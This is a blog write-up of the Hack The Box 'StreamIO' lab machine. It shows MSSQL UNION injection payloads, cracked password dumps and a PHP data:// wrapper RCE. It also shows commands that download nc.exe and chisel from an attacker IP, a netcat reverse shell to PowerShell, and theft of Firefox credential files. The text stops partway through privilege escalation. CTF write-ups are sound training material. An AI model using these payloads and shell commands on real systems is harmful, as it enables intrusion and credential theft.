Kashmir54

Cibersecurity blog. CTFs, writeups, electronics and more!

Home YouTube View on GitHub

StreamIO

Summary

StreamIO is a medium machine (felt like hard for me) where first you are facing a website where we need to exploit two vulnerabilities. First, SQLi to retrieve admin credentials to the platform. There we can find several endpoints, but using the debug action we found LFI on the file_get_contents function, and we use it to retrieve some source code (with the db admin password) and also to obtain RCE using the data:// wrapper to stream our netcat.exed and the revshell. Once inside, I used chisel to forward database port and to login as the admin user and we could access the backup database with some passwords, one of them worked on winrm, and we used it to log into the machine.

For the privilege escalation, I obtained the Firefox ini folder with all the passwords stored by the browser, and with some logical combinations of passwords we end up with one more AD valid password. Using Bloodhound, we find a privesc path using JDgodd user, which was capable of Writing Owner to the “Core Staff” group, which has permissions to Read LAPS on the DC. Using that privileges, we set the user nikk37 to be within the “Core Staff” group and then read LAPS with LAPSDumper. Then, using the password we can log into winrm as the administrator.

Enumeration

Stating with nmap:

nmap scan report for 10.10.11.158
Host is up (0.043s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-02 23:17:39Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_ssl-date: 2022-08-02T23:19:08+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
57447/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-08-02T23:18:31
|_  start_date: N/A

We can see some information about the host:

Add the following line to the /etc/hosts file:

10.10.11.158 watch.streamIO.htb streamIO.htb

The server still resolving to http://www.streamio.htb/, so add it also in the file.

Any of the three will show me the default web:

Let’s take a look first at the DNS first to enumerate the assets:

kali@kali:~/Desktop/HackTheBox/StreamIO$ dig streamio.htb @10.10.11.158 ANY

; <<>> DiG 9.17.19-3-Debian <<>> streamio.htb @10.10.11.158 ANY
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24470
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;streamio.htb.                  IN      ANY

;; ANSWER SECTION:
streamio.htb.           600     IN      A       10.10.11.158
streamio.htb.           3600    IN      NS      dc.streamio.htb.
streamio.htb.           3600    IN      SOA     dc.streamio.htb. hostmaster.streamio.htb. 332 900 600 86400 3600
streamio.htb.           600     IN      AAAA    dead:beef::aa
streamio.htb.           600     IN      AAAA    dead:beef::a8d3:2b6a:d7a9:626d

;; ADDITIONAL SECTION:
dc.streamio.htb.        3600    IN      A       10.10.11.158
dc.streamio.htb.        3600    IN      AAAA    dead:beef::aa
dc.streamio.htb.        3600    IN      AAAA    dead:beef::a8d3:2b6a:d7a9:626d

;; Query time: 44 msec
;; SERVER: 10.10.11.158#53(10.10.11.158) (TCP)
;; WHEN: Tue Aug 02 12:28:52 EDT 2022
;; MSG SIZE  rcvd: 249

So, we can see the dc (Domain Controller) at dc.streamio.htb.

Gobuster shows nothing interesting either, but enumerating subdomains with ffuf shows the watch subdomain:

gobuster dir -u "https://streamio.htb/" --wordlist=/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 20 -k

===============================================================
2022/08/15 13:03:08 Starting gobuster in directory enumeration mode
===============================================================
/ADMIN                (Status: 301) [Size: 150] [--> https://streamio.htb/ADMIN/]
/Admin                (Status: 301) [Size: 150] [--> https://streamio.htb/Admin/]
/Images               (Status: 301) [Size: 151] [--> https://streamio.htb/Images/]
/admin                (Status: 301) [Size: 150] [--> https://streamio.htb/admin/] 
/css                  (Status: 301) [Size: 148] [--> https://streamio.htb/css/]   
/favicon.ico          (Status: 200) [Size: 1150]                                  
/fonts                (Status: 301) [Size: 150] [--> https://streamio.htb/fonts/] 
/images               (Status: 301) [Size: 151] [--> https://streamio.htb/images/]
/index.php            (Status: 200) [Size: 13497]                                 
/js                   (Status: 301) [Size: 147] [--> https://streamio.htb/js/]


## Subdomains:

ffuf -c -u 'https://10.10.11.158' -H 'Host: FUZZ.streamio.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fc 403,301
________________________________________________

watch                   [Status: 200, Size: 2829, Words: 202, Lines: 79]
:: Progress: [114441/114441] :: Job [1/1] :: 206 req/sec :: Duration: [0:10:55] :: Errors: 0 ::

I added the watch.streamio.htb to the /etc/hosts and runned gobuster again over it:

gobuster dir -u "https://watch.streamio.htb" --wordlist=/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -t 60 -k -x php,html,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://watch.streamio.htb
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
2022/09/27 13:08:46 Starting gobuster in directory enumeration mode
===============================================================
/search.php           (Status: 200) [Size: 253606]
/static               (Status: 301) [Size: 157] [--> https://watch.streamio.htb/static/]
/Search.php           (Status: 200) [Size: 253606]                                      
/index.php            (Status: 200) [Size: 2829]                                        
/Static               (Status: 301) [Size: 157] [--> https://watch.streamio.htb/Static/]
/Index.php            (Status: 200) [Size: 2829]                                        
/blocked.php          (Status: 200) [Size: 677]                                         
/SEARCH.php           (Status: 200) [Size: 253606]

Most relevant path was search.php, where we can see a film browser:

I let the sqlmap run in the background while investigating the rest of the website with the following request:

We could see that with that inyection, it displayed all the movies, which means that the query could be working. Testing for the following injection (with a 1 previous to the closing quote, I found that all movies displayed end on 1… It could be some kind of regex for contains keyword with the % (sql wildcard) at the end of the string.

Testing for UNION injection, we found that when a query with no result is provided, we obtain columns N2 and N3, that we can use for leaking information:

A little walkthrough on the payloads I tested (I added a quote on the previous line for each payload so the syntax is fiendly on this blog):

# Payload:
'
test' union select 1-- -

# null


--
# Payload:
'
test' union select 1,2-- -

# null...


--
# Payload:
'
test' union select 1,2,3,4,5,6-- -

# 2, 3

Now use the colum 2 for leaking information, for example, the version:

'
test' union select 1,@@version,3,4,5,6-- -

# Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 

Get the user which is making the requests on the DB:

'
test' union select 1,user,3,4,5,6-- -

# dbo

Get the actual DB name (use indexes on this method to get the index, i.e. db_name(x)):

'
test' union select 1,db_name(),3,4,5,6-- -

# STREAMIO

Now that we know the database name, we can try to retrieve the tables and its ID. We are getting the ID since we will use it in later queries for making it easy to extract information from. Also, we are using string_agg and concats functions to get it in a single line. It could work without them since we are displaying oseveral rows of the result (stack query). But on limit 1 scenarios, that will help us on leaking data in one row:

'
test' union select 1,string_agg(concat(name,':',id),'_'),3,4,5,6 from streamio..sysobjects where xtype='u'-- -

# movies:885578193_users:901578250

Now let’s get the columns using the table id:

'
test' union select 1,string_agg(concat(name,':',id),'_'),3,4,5,6 from streamio..syscolumns where id=901578250-- -

# id:901578250_is_staff:901578250_password:901578250_username:901578250

And now retrieve the data from the table:

'
test' union select 1,string_agg(concat(username,':',password),'_'),3,4,5,6 from streamio..users-- -

Result:

James:c660060492d9edcaa8332d89c99c9239
Theodore:925e5408ecb67aea449373d668b7359e
Samantha:083ffae904143c4796e464dac33c1f7d
Lauren:08344b85b329d7efd611b7a7743e8a09
William:d62be0dc82071bccc1322d64ec5b6c51
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5
Robert:f03b910e2bd0313a23fdd7575f34a694
Thane:3577c47eb1e12c8ba021611e1280753c
Carmon:35394484d89fcfdb3c5e447fe749d213
Barry:54c88b2dbd7b1a84012fabc1a4c73415
Oliver:fd78db29173a5cf701bd69027cb9bf6b
Michelle:b83439b16f844bd6ffe35c02fe21b3c0
Gloria:0cfaaaafb559f081df2befbe66686de0
Victoria:b22abb47a02b52d5dfa27fb0b534f693
Alexendra:1c2b3d8270321140e5153f6637d3ee53
Baxter:22ee218331afd081b0dcd8115284bae3
Clara:ef8f3d30a856cf166fb8215aca93e9ff
Barbra:3961548825e3e21df5646cafe11c6c76
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f
Austin:0049ac57646627b8d7aeaccf8b6a936f
Garfield:8097cedd612cc37c29db152b6e9edbd3
Juliette:6dcd87740abb64edfa36d170f0d5450d
Victor:bf55e15b119860a6e6b5a164377da719
Lucifer:7df45a9e3de3863807c026ba48e55fb3
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8
Diablo:ec33265e5fc8c2f1b0c137bb7b3632b5
Robin:dc332fb5576e9631c9dae83f194f8e70
Stan:384463526d288edcc95fc3701e523bc7
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332
admin:665a50ac9eaa781e4f7f04199db97a11

Once we obtained the hashes, let’s crack them with hashcat:

hashcat -a 0 -m 0 --user hashes.txt /usr/share/wordlists/rockyou.txt --show

The passwords cracked:

Lauren:08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Thane:3577c47eb1e12c8ba021611e1280753c:highschoolmusical
Barry:54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
Michelle:b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
Victoria:b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
Clara:ef8f3d30a856cf166fb8215aca93e9ff:%$clara
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
Juliette:6dcd87740abb64edfa36d170f0d5450d:$3xybitch
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd

Now, let’s recall the /admin path on gobuster, so let’s login with some user and visit that path. Actually, only the user yoshihide worked on the login with its credential: yoshihide:66boysandgirls.. . We end up on an admin panel with several options:

We can see that the different tabs have different parameters:

https://streamio.htb/admin/?user=
https://streamio.htb/admin/?staff=
https://streamio.htb/admin/?movie=
https://streamio.htb/admin/?message=

And it uses the ID to delete them:

On the Admin messages there is nothing interesting. Deleting the movies and user has no efect on our purpose, so I enumerated the actions in the URL. I usually go for the API objects wordlist and found the debug endpoint.

ffuf -c -u 'https://streamio.htb/admin/?FUZZ=' -H 'Cookie: PHPSESSID=htlip3j1eghqe015cack0nb6hd' -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/objects.txt -fc 403,301 -fs 1678

________________________________________________

debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50]
movie                   [Status: 200, Size: 319875, Words: 15967, Lines: 10779]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399]
user                    [Status: 200, Size: 2073, Words: 146, Lines: 63]

Playing around with the parameter, I could not achieve anything with the POST but with the GET and the index.php as value I got an extrange response saying error:

I got stuck for a while, tried direct LFI payloads but nothing came up, then tried PHP wrappers and the first try with the filters, I got response of the file in rot13:

GET /admin/?debug=php://filter/read=string.toupper|string.rot13|string.tolower/resource=index.php HTTP/2

Don’t wanna mess around with rot13, so I extracted it with base64:

GET /admin/?debug=php://filter/convert.base64-encode/resource=index.php HTTP/2
PD9waHAKZGVmaW5lKCdpbmNsdWRlZCcsdHJ1ZSk7CnNlc3Npb25fc3RhcnQoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsnYWRtaW4nXSkpCnsKCWhlYWRlcignSFRUUC8xLjEgNDAzIEZvcmJpZGRlbicpOwoJZGllKCI8aDE+Rk9SQklEREVOPC9oMT4iKTsKfQokY29ubmVjdGlvbiA9IGFycmF5KCJEYXRhYmFzZSI9PiJTVFJFQU1JTyIsICJVSUQiID0+ICJkYl9hZG1pbiIsICJQV0QiID0+ICdCMUBoeDMxMjM0NTY3ODkwJyk7CiRoYW5kbGUgPSBzcWxzcnZfY29ubmVjdCgnKGxvY2FsKScsJGNvbm5lY3Rpb24pOwoKPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KCTx0aXRsZT5BZG1pbiBwYW5lbDwvdGl0bGU+Cgk8bGluayByZWwgPSAiaWNvbiIgaHJlZj0iL2ltYWdlcy9pY29uLnBuZyIgdHlwZSA9ICJpbWFnZS94LWljb24iPgoJPCEtLSBCYXNpYyAtLT4KCTxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgoJPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIiAvPgoJPCEtLSBNb2JpbGUgTWV0YXMgLS0+Cgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+Cgk8IS0tIFNpdGUgTWV0YXMgLS0+Cgk8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iIiAvPgoJPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KCTxtZXRhIG5hbWU9ImF1dGhvciIgY29udGVudD0iIiAvPgoKPGxpbmsgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9ib290c3RyYXBANS4xLjMvZGlzdC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgaW50ZWdyaXR5PSJzaGEzODQtMUJtRTRrV0JxNzhpWWhGbGR2S3VoZlRBVTZhdVU4dFQ5NFdySGZ0akRickNFWFNVMW9Cb3F5bDJRdlo2aklXMyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjEuMy9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1rYTdTazBHbG40Z210ejJNbFFuaWtUMXdYZ1lzT2crT01odVArSWxSSDlzRU5CTzBMUm41cSs4bmJUb3Y0KzFwIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KCgk8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+Cgk8bGluayBocmVmPSIvY3NzL3N0eWxlLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPgoJPCEtLSByZXNwb25zaXZlIHN0eWxlIC0tPgoJPGxpbmsgaHJlZj0iL2Nzcy9yZXNwb25zaXZlLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiAvPgoKPC9oZWFkPgo8Ym9keT4KCTxjZW50ZXIgY2xhc3M9ImNvbnRhaW5lciI+CgkJPGJyPgoJCTxoMT5BZG1pbiBwYW5lbDwvaDE+CgkJPGJyPjxocj48YnI+CgkJPHVsIGNsYXNzPSJuYXYgbmF2LXBpbGxzIG5hdi1maWxsIj4KCQkJPGxpIGNsYXNzPSJuYXYtaXRlbSI+CgkJCQk8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij91c2VyPSI+VXNlciBtYW5hZ2VtZW50PC9hPgoJCQk8L2xpPgoJCQk8bGkgY2xhc3M9Im5hdi1pdGVtIj4KCQkJCTxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iP3N0YWZmPSI+U3RhZmYgbWFuYWdlbWVudDwvYT4KCQkJPC9saT4KCQkJPGxpIGNsYXNzPSJuYXYtaXRlbSI+CgkJCQk8YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij9tb3ZpZT0iPk1vdmllIG1hbmFnZW1lbnQ8L2E+CgkJCTwvbGk+CgkJCTxsaSBjbGFzcz0ibmF2LWl0ZW0iPgoJCQkJPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/bWVzc2FnZT0iPkxlYXZlIGEgbWVzc2FnZSBmb3IgYWRtaW48L2E+CgkJCTwvbGk+CgkJPC91bD4KCQk8YnI+PGhyPjxicj4KCQk8ZGl2IGlkPSJpbmMiPgoJCQk8P3BocAoJCQkJaWYoaXNzZXQoJF9HRVRbJ2RlYnVnJ10pKQoJCQkJewoJCQkJCWVjaG8gJ3RoaXMgb3B0aW9uIGlzIGZvciBkZXZlbG9wZXJzIG9ubHknOwoJCQkJCWlmKCRfR0VUWydkZWJ1ZyddID09PSAiaW5kZXgucGhwIikgewoJCQkJCQlkaWUoJyAtLS0tIEVSUk9SIC0tLS0nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlpbmNsdWRlICRfR0VUWydkZWJ1ZyddOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UgaWYoaXNzZXQoJF9HRVRbJ3VzZXInXSkpCgkJCQkJcmVxdWlyZSAndXNlcl9pbmMucGhwJzsKCQkJCWVsc2UgaWYoaXNzZXQoJF9HRVRbJ3N0YWZmJ10pKQoJCQkJCXJlcXVpcmUgJ3N0YWZmX2luYy5waHAnOwoJCQkJZWxzZSBpZihpc3NldCgkX0dFVFsnbW92aWUnXSkpCgkJCQkJcmVxdWlyZSAnbW92aWVfaW5jLnBocCc7CgkJCQllbHNlIAoJCQk/PgoJCTwvZGl2PgoJPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPg==

This will be the source code:

<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
	header('HTTP/1.1 403 Forbidden');
	die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Admin panel</title>
	<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
	<!-- Basic -->
	<meta charset="utf-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=edge" />
	<!-- Mobile Metas -->
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
	<!-- Site Metas -->
	<meta name="keywords" content="" />
	<meta name="description" content="" />
	<meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

	<!-- Custom styles for this template -->
	<link href="/css/style.css" rel="stylesheet" />
	<!-- responsive style -->
	<link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
	<center class="container">
		<br>
		<h1>Admin panel</h1>
		<br><hr><br>
		<ul class="nav nav-pills nav-fill">
			<li class="nav-item">
				<a class="nav-link" href="?user=">User management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?staff=">Staff management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?movie=">Movie management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?message=">Leave a message for admin</a>
			</li>
		</ul>
		<br><hr><br>
		<div id="inc">
			<?php
				if(isset($_GET['debug']))
				{
					echo 'this option is for developers only';
					if($_GET['debug'] === "index.php") {
						die(' ---- ERROR ----');
					} else {
						include $_GET['debug'];
					}
				}
				else if(isset($_GET['user']))
					require 'user_inc.php';
				else if(isset($_GET['staff']))
					require 'staff_inc.php';
				else if(isset($_GET['movie']))
					require 'movie_inc.php';
				else 
			?>
		</div>
	</center>
</body>
</html>

We got some creds from the source code:

db_admin:B1@hx31234567890

Doesn’t seem usefull at the moment. I kept fuzzing to the debug action with several wordlists for APIs etc and found the following paths:

ffuf -c -u 'https://streamio.htb/admin/?debug=FUZZ.php' -H 'Cookie: PHPSESSID=htlip3j1eghqe015cack0nb6hd' -w /usr/share/wordlicovery/Web-Content/raft-medium-words.txt -fc 403,301 -fs 1712
______________

index                   [Status: 200, Size: 1693, Words: 93, Lines: 47]
master                  [Status: 200, Size: 342677, Words: 17754, Lines: 11159]
Index                   [Status: 200, Size: 0, Words: 1, Lines: 1]
Master                  [Status: 200, Size: 342677, Words: 17754, Lines: 11159]
INDEX                   [Status: 200, Size: 0, Words: 1, Lines: 1]

Let’s check for the master.php with the LFI obtained before:

master.php

<h1>Movie managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST" action="?movie=">
				<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>

Checking the very bottom of the file, we can see the include parameter in the POST method, our target LFI. How does this work? Well, we can use the data:// wrapper, which will generate a data stream with our desired payload, in this case, a reverse shell in PHP. Then, file_get_contents will take the stream and return its content, which will be evaluated with the eval function. This “feature” also works with the fopen function. More information can be found on the data wrapper docs

With a quick POC we get RCE:

Payload:

system($_GET['cmd']);

Payload with base64 encoding and data:// wrapper:

data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7

Request:

POST /admin/?debug=master.php&cmd=whoami HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=htlip3j1eghqe015cack0nb6hd
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7

And we can see the RCE:

Let’s enhace the payload and get netcat on the target machine. Tried to upload a netcat executable to the temp folder but didn’t work out, then I tried to load it into the Downloads folder, probably, the Temp folder does not exist on the machine:

# Payload
curl http://10.10.14.132:5454/nc.exe -o C:\\Downloads\\nc.exe

# Request (short)
POST /admin/?debug=master.php&cmd=curl+http://10.10.14.132:5454/nc.exe+-o+C:\\Downloads\\nc.exe HTTP/2

Now use the nc.exe file to do the revshell:

# Payload
cmd+/c+C:\\Downloads\\nc.exe+-e+powershell+10.10.14.132+5455

# Request (short)
POST /admin/?debug=master.php&cmd=cmd+/c+C:\\Downloads\\nc.exe+-e+powershell+10.10.14.132+5455

Once we send the request, we get the revshell:

Checking the users in the machine, we can see the nikk37:

Going back to the enumerated assets, I checked the unused database credentials that we found in the php code and probably the database will be Microsoft SQL, therefore the service might be running on the default port 1433. Since we cannot list the ports used (due to the low priviledges of this user), I will use port forwarding with chisel se I can access to the sql server from my machine.

db_admin:B1@hx31234567890

# Get chisel on server
curl http://10.10.14.132:5454/chisel64.exe -o chisel.exe

# On attack box
./chisel server -p 8000 --reverse

# On server
.\chisel.exe client 10.10.14.132:8000 R:1433:127.0.0.1:1433

With the server running we can use mssqlclinet.py or sqsh to access the server:

sqsh -S 127.0.0.1:1433 -U db_admin -P B1@hx31234567890 -D STREAMIO
1> SELECT name FROM master.dbo.sysdatabases;
2> go

SELECT * FROM master.INFORMATION_SCHEMA.TABLES;

SELECT * FROM streamio_backup.INFORMATION_SCHEMA.TABLES;

Master db has the same users that we obtained from the SQLi

But in the backup one we can see our target user:

1> use streamio_backup;
2> select * from users;
3> go

 	id  username  password             
 -----------
    1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
    2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
    3 James c660060492d9edcaa8332d89c99c9239
    4 Theodore 925e5408ecb67aea449373d668b7359e
    5 Samantha 083ffae904143c4796e464dac33c1f7d
    6 Lauren 08344b85b329d7efd611b7a7743e8a09                                                                                       
    7 William d62be0dc82071bccc1322d64ec5b6c51                                                                                      
    8 Sabrina f87d3c0d6c8fd686aacc6627f1f493a5

Let’s crack again:

hashcat -a 0 -m 0 --user hash_backup.txt /usr/share/wordlists/rockyou.txt --show
nikk37:389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
Lauren:08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$

Now with the cracked users and passwords, we can try to log into the machine. Let’s test the users with crackmapexec. nikk37 shows no pwned on smb, so it won’t be administrator, but it has winrm enabled, so we can log in with it:

evil-winrm -i 10.10.11.158 -u nikk37 -p get_dem_girls2@yahoo.com

Privesc

Let’s download Winpeas on the machine for some kick inspection:

curl http://10.10.14.132:5454/Windows/winPEASany.exe -o win.exe
.\win.exe

We can see that there is a Firefox credential file, let’s download it to check it on local:

*Evil-WinRM* PS C:\Downloads> download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db

(Don’t be rude like me and use absolut paths on the destination machine, if not, you will have to rename the file)

We will also need the logins.json file and the complete ini folder for the tool we are using:

